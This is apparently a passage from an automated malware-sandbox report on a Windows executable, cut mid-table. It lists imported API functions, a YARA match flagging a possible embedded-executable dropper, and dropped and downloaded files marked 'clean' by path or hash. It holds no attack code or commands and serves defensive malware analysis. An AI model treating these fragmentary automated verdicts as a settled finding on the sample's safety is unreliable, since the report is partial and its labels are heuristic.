CharToOemA | - | 0x496718 | 0x96718 | 0x93718 | 0x0 |
AdjustWindowRectEx | - | 0x49671c | 0x9671c | 0x9371c | 0x0 |
ActivateKeyboardLayout | - | 0x496720 | 0x96720 | 0x93720 | 0x0 |
kernel32.dll (1)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
Sleep | - | 0x496728 | 0x96728 | 0x93728 | 0x0 |
oleaut32.dll (13)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
SafeArrayPtrOfIndex | - | 0x496730 | 0x96730 | 0x93730 | 0x0 |
SafeArrayPutElement | - | 0x496734 | 0x96734 | 0x93734 | 0x0 |
SafeArrayGetElement | - | 0x496738 | 0x96738 | 0x93738 | 0x0 |
SafeArrayUnaccessData | - | 0x49673c | 0x9673c | 0x9373c | 0x0 |
SafeArrayAccessData | - | 0x496740 | 0x96740 | 0x93740 | 0x0 |
SafeArrayGetUBound | - | 0x496744 | 0x96744 | 0x93744 | 0x0 |
SafeArrayGetLBound | - | 0x496748 | 0x96748 | 0x93748 | 0x0 |
SafeArrayCreate | - | 0x49674c | 0x9674c | 0x9374c | 0x0 |
VariantChangeType | - | 0x496750 | 0x96750 | 0x93750 | 0x0 |
VariantCopyInd | - | 0x496754 | 0x96754 | 0x93754 | 0x0 |
VariantCopy | - | 0x496758 | 0x96758 | 0x93758 | 0x0 |
VariantClear | - | 0x49675c | 0x9675c | 0x9375c | 0x0 |
VariantInit | - | 0x496760 | 0x96760 | 0x93760 | 0x0 |
ole32.dll (4)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
CoTaskMemAlloc | - | 0x496768 | 0x96768 | 0x93768 | 0x0 |
CoCreateInstance | - | 0x49676c | 0x9676c | 0x9376c | 0x0 |
CoUninitialize | - | 0x496770 | 0x96770 | 0x93770 | 0x0 |
CoInitialize | - | 0x496774 | 0x96774 | 0x93774 | 0x0 |
oleaut32.dll (4)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
CreateErrorInfo | - | 0x49677c | 0x9677c | 0x9377c | 0x0 |
GetErrorInfo | - | 0x496780 | 0x96780 | 0x93780 | 0x0 |
SetErrorInfo | - | 0x496784 | 0x96784 | 0x93784 | 0x0 |
SysFreeString | - | 0x496788 | 0x96788 | 0x93788 | 0x0 |
comctl32.dll (24)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
ImageList_SetIconSize | - | 0x496790 | 0x96790 | 0x93790 | 0x0 |
ImageList_GetIconSize | - | 0x496794 | 0x96794 | 0x93794 | 0x0 |
ImageList_Write | - | 0x496798 | 0x96798 | 0x93798 | 0x0 |
ImageList_Read | - | 0x49679c | 0x9679c | 0x9379c | 0x0 |
ImageList_GetDragImage | - | 0x4967a0 | 0x967a0 | 0x937a0 | 0x0 |
ImageList_DragShowNolock | - | 0x4967a4 | 0x967a4 | 0x937a4 | 0x0 |
ImageList_SetDragCursorImage | - | 0x4967a8 | 0x967a8 | 0x937a8 | 0x0 |
ImageList_DragMove | - | 0x4967ac | 0x967ac | 0x937ac | 0x0 |
ImageList_DragLeave | - | 0x4967b0 | 0x967b0 | 0x937b0 | 0x0 |
ImageList_DragEnter | - | 0x4967b4 | 0x967b4 | 0x937b4 | 0x0 |
ImageList_EndDrag | - | 0x4967b8 | 0x967b8 | 0x937b8 | 0x0 |
ImageList_BeginDrag | - | 0x4967bc | 0x967bc | 0x937bc | 0x0 |
ImageList_Remove | - | 0x4967c0 | 0x967c0 | 0x937c0 | 0x0 |
ImageList_DrawEx | - | 0x4967c4 | 0x967c4 | 0x937c4 | 0x0 |
ImageList_Replace | - | 0x4967c8 | 0x967c8 | 0x937c8 | 0x0 |
ImageList_Draw | - | 0x4967cc | 0x967cc | 0x937cc | 0x0 |
ImageList_GetBkColor | - | 0x4967d0 | 0x967d0 | 0x937d0 | 0x0 |
ImageList_SetBkColor | - | 0x4967d4 | 0x967d4 | 0x937d4 | 0x0 |
ImageList_ReplaceIcon | - | 0x4967d8 | 0x967d8 | 0x937d8 | 0x0 |
ImageList_Add | - | 0x4967dc | 0x967dc | 0x937dc | 0x0 |
ImageList_GetImageCount | - | 0x4967e0 | 0x967e0 | 0x937e0 | 0x0 |
ImageList_Destroy | - | 0x4967e4 | 0x967e4 | 0x937e4 | 0x0 |
ImageList_Create | - | 0x4967e8 | 0x967e8 | 0x937e8 | 0x0 |
InitCommonControls | - | 0x4967ec | 0x967ec | 0x937ec | 0x0 |
winmm.dll (1)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
sndPlaySoundA | - | 0x4967f4 | 0x967f4 | 0x937f4 | 0x0 |
YARA Matches (1)
»
Rule Name | Rule Description | Classification | Score | Actions |
---|---|---|---|---|
Document_Contains_Embedded_PE_File | PE file inside a document; possible malware dropper | - |
3/5
|
...
|
c:\users\keecfmwgj\appdata\local\gdipfontcachev1.dat | Dropped File | Stream |
clean
|
...
|
»
c:\netlogon | Dropped File | Unknown |
clean
|
...
|
»
c:\users\keecfmwgj\appdata\local\gdipfontcachev1.dat | Dropped File | Stream |
clean
|
...
|
»
0f0408e2350bcecbe61c16cb9f083f1db2cca75be4e5f5b00be7aba408407662 | Downloaded File | Text |
clean
|
...
|
»
ca6b8165af0d6032dabc2a818b5c08eeca3d29ed612e0deb88a64e58bae47a86 | Downloaded File | Text |
clean
|
...
|
»
8bc8e15ebd0428201a59b41612a9da6284ace3847cae6d0711a23a176c11cbf1 | Downloaded File | Text |
clean
|
...
|
»
dbf3eff77c45528798443b7335e45ae229f3036db4081551e1cf8456a074ac72 | Downloaded File | Text |
clean
|
...
|
»
fdf73d5b987ef1e4a58ecee1e654161ecac8dc2f61d6f9f4fd3d17dd838ca89a | Downloaded File | Text |
clean
|
...
|
»
bc8b832fd2a68c177d4f5ecee42000ae6255a8445a53c6f1a4d3817226df73a2 | Downloaded File | Text |
clean
|
...
|
»
a9f28f5c27f1d7a35858036a7775bec833b424362ebe7b630168cd096f9b1a60 | Downloaded File | Text |
clean
|
...
|
»
99050ff7c9cd2eeb52103a3ebb1bdbbf2daad4cec2e31f09c397a1a9a93a58c7 | Downloaded File | Text |
clean
|
...
|
»
cfa5f5b6696abeb299fa0621b62c56c14aaa2d367a0583933472f007a885874f | Downloaded File | Text |
clean
|
...
|
»